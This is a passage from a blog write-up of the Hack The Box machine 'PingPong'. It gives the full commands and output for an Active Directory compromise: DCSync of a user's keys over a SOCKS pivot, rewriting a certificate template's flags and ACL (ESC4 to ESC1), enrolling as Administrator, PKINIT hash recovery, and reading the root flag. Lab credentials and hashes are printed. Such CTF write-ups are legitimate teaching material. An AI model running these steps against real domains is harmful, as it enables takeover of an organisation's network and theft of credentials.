EOF
1
2
3
4
5
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3272
The command completed successfully.

Verifying:

1
2
3
4
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
python3 /home/kali/pingpong/run_psrp.py dc2.pong.htb "net localgroup administrators"
'
1
2
3
4
5
6
Members
-------------------------------------------------------------------------------
Administrator
C.Carlssen
Domain Admins
Enterprise Admins

c.carlssen is now a local admin on DC2 - and DC2 is a domain controller, so this is effectively domain-admin-equivalent on pong.htb. Which means DCSync is on the table.

DCSync r.martinelli

First, renew c.carlssen’s TGT so the PAC carries the brand-new local Administrators membership:

1
2
3
4
5
rm /home/kali/pingpong/c.carlssen.ccache
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
impacket-getTGT "pong.htb/c.carlssen:A()DUJ!@414" -dc-ip 127.0.0.1
'

DCSync uses DRSUAPI over dynamic RPC ports, and forwarding the entire high-port range through chisel is a pain. Instead we just route the whole impacket process through the SOCKS5 proxy with proxychains:

1
2
3
4
5
6
7
8
9
cat > /home/kali/pingpong/proxychains.conf <<'EOF'
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
EOF

Then dump r.martinelli’s keys straight off the real DC2 IP over the proxy:

1
2
3
4
5
6
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
proxychains4 -q -f /home/kali/pingpong/proxychains.conf \
impacket-secretsdump -k -no-pass -dc-ip 192.168.2.2 -target-ip 192.168.2.2 \
-just-dc-user r.martinelli pong.htb/[email protected]
'
1
2
R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:d60fc26a0569b953a5cebd1392232630:::
R.Martinelli:aes256-cts-hmac-sha1-96:61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98

Why r.martinelli specifically? Because this user has rights over on the ping.htb side of the trust that let us go finish off DC1. Since NTLM is dead, we grab a TGT with the AES256 key:

1
2
3
4
5
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/r.martinelli.ccache \
impacket-getTGT -aesKey 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 \
-dc-ip 127.0.0.1 pong.htb/r.martinelli
'

ESC4 -> making SmartcardAuthentication vulnerable to ESC1

r.martinelli has write access over the SmartcardAuthentication certificate template on DC1’s CA. That’s ESC4 - and ESC4 is really just “I can turn any template into an ESC1”. Let’s cross the trust toward DC1 by pre-fetching a TGS for ldap/dc1.ping.htb:

1
2
3
4
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/r.martinelli.ccache \
kvno ldap/dc1.ping.htb
'
1
ldap/[email protected]: kvno = 7

Always back up the template’s current state before you touch it - you want to be able to put it back, and it documents exactly what you changed:

1
2
3
4
5
6
TPL='CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb'
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/r.martinelli.ccache \
bloodyAD --host dc1.ping.htb --dc-ip 10.129.26.198 -d ping.htb -k \
get object '$TPL' --attr msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage
"
1
2
3
msPKI-Certificate-Name-Flag: -1577058304
msPKI-Enrollment-Flag: 41
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2; 1.3.6.1.5.5.7.3.4; 1.3.6.1.4.1.311.10.3.4

The template is already published on ping-DC1-CA and already has the Client Authentication EKU (1.3.6.1.5.5.7.3.2). So all we have to do is make three edits: set ENROLLEE_SUPPLIES_SUBJECT, drop the manager-approval flag, and let Authenticated Users enroll:

1
2
3
4
5
6
7
8
9
10
11
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/r.martinelli.ccache \
bloodyAD --host dc1.ping.htb --dc-ip 10.129.26.198 -d ping.htb -k \
set object '$TPL' msPKI-Certificate-Name-Flag -v 1
KRB5CCNAME=/home/kali/pingpong/r.martinelli.ccache \
bloodyAD --host dc1.ping.htb --dc-ip 10.129.26.198 -d ping.htb -k \
set object '$TPL' msPKI-Enrollment-Flag -v 0
KRB5CCNAME=/home/kali/pingpong/r.martinelli.ccache \
bloodyAD --host dc1.ping.htb --dc-ip 10.129.26.198 -d ping.htb -k \
add genericAll '$TPL' 'S-1-5-11'
"
1
2
3
[+] ...'s msPKI-Certificate-Name-Flag has been updated
[+] ...'s msPKI-Enrollment-Flag has been updated
[+] S-1-5-11 has now GenericAll on CN=SmartcardAuthentication,...

What we just did, in a table:

Attribute New value Effect
msPKI-Certificate-Name-Flag 1 (ENROLLEE_SUPPLIES_SUBJECT) Enrollee gets to pick their own SAN/UPN - the core ESC1 condition
msPKI-Enrollment-Flag 0 No CA-manager approval needed
nTSecurityDescriptor + ACE for S-1-5-11 Any authenticated user can enroll
pKIExtendedKeyUsage unchanged Client Authentication EKU was already present

That’s a textbook ESC1 now.

ESC1 -> becoming Administrator@ping.htb

We go back to our humble c.roberts ticket to enroll (any authenticated user works now), requesting a cert with the Administrator UPN and the Administrator SID baked in:

1
2
3
4
5
6
7
8
ADMIN_SID='S-1-5-21-750635624-2058721901-1932338391-500'
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
certipy-ad req -k -no-pass -dc-ip 10.129.26.198 -dc-host dc1.ping.htb \
-target dc1.ping.htb -ca ping-DC1-CA -template SmartcardAuthentication \
-upn '[email protected]' -sid '$ADMIN_SID' \
-out /home/kali/pingpong/administrator -dynamic-endpoint
"
1
2
3
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-500'

The -sid is non-negotiable on patched DCs because of CVE-2022-26923 / StrongCertificateBindingEnforcement - without the SID in the certificate, the KDC won’t strongly map it to the Administrator account. -dynamic-endpoint tells certipy to go through the RPC endpoint mapper instead of a hardcoded port, which was the only way to reach the CA in this tunnelled setup.

PKINIT with the cert to recover Administrator’s NT hash and a TGT:

1
2
3
4
5
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/administrator.ccache \
certipy-ad auth -pfx /home/kali/pingpong/_home_kali_pingpong_administrator.pfx \
-dc-ip 10.129.26.198 -domain ping.htb -username Administrator
'
1
2
[*] Got TGT
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff

And finally, PSRemote into DC1 as Administrator and read the root flag:

1
2
3
4
5
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/administrator.ccache \
python3 /home/kali/pingpong/run_psrp.py dc1.ping.htb \
"whoami; [System.IO.File]::ReadAllText(\"C:\\Users\\Administrator\\Desktop\\root.txt\")"
'
1
2
ping\administrator
7017e1e0aebb4f61bb92d2931d23d852

ROOT FLAG: 7017e1e0aebb4f61bb92d2931d23d852

Final thoughts

PingPong absolutely earns its insane rating, but not because any single step is exotic - it’s the orchestration. You never stop living inside Kerberos, you’re constantly bouncing a ticket from one realm to the other to satisfy the trust, and the whole back half of the box only exists behind a tunnel you have to build yourself. If you lose track of which .ccache you’re holding or which direction of the trust you’re crossing, you’ll spin for hours.

The chain, start to finish:

Stage Principal Mechanism
0 c.roberts Assumed-breach credential
1 c.roberts + TempWinRMAccess ADCS ESC13 -> WinRM on DC1
2 foreign SID in pong.htb\gMSA Managers Cross-domain DACL chain (Owner -> GenericAll -> groupType flip)
3 Pong_gMSA$ gMSA blob -> AES256 derivation -> TGT
4 reads c.carlssen cleartext JEA restricted + the ${C:\path} file-as-variable trick
5 c.carlssen on DC2 WinRM as IT Service Admins -> user.txt
6 pong\svc_sql (SQL OS context) RBCD + S4U as c.adam -> MSSQL sysadmin -> xp_cmdshell
7 BUILTIN\Administrators on DC2 GodPotato (SeImpersonatePrivilege)
8 R.Martinelli keys DCSync over the SOCKS pivot
9 SmartcardAuthentication flipped ESC4 (template DACL/flag write)
10 [email protected] ESC1 enrollment with -sid -> PKINIT -> root.txt

That’s ESC13 -> cross-forest DACL abuse -> gMSA -> JEA -> RBCD -> MSSQL S4U -> GodPotato -> DCSync -> ESC4 -> ESC1. Ping to pong and back again. See you next week.

  • Title: Hackthebox: PingPong
  • Author: Foued SAIDI
  • Created at : 2026-11-27 20:20:18
  • Updated at : 2026-11-27 13:30:49
  • Link: https://kujen5.github.io/2026/11/27/Hackthebox-PingPong/
  • License: This work is licensed under CC BY-NC-SA 4.0.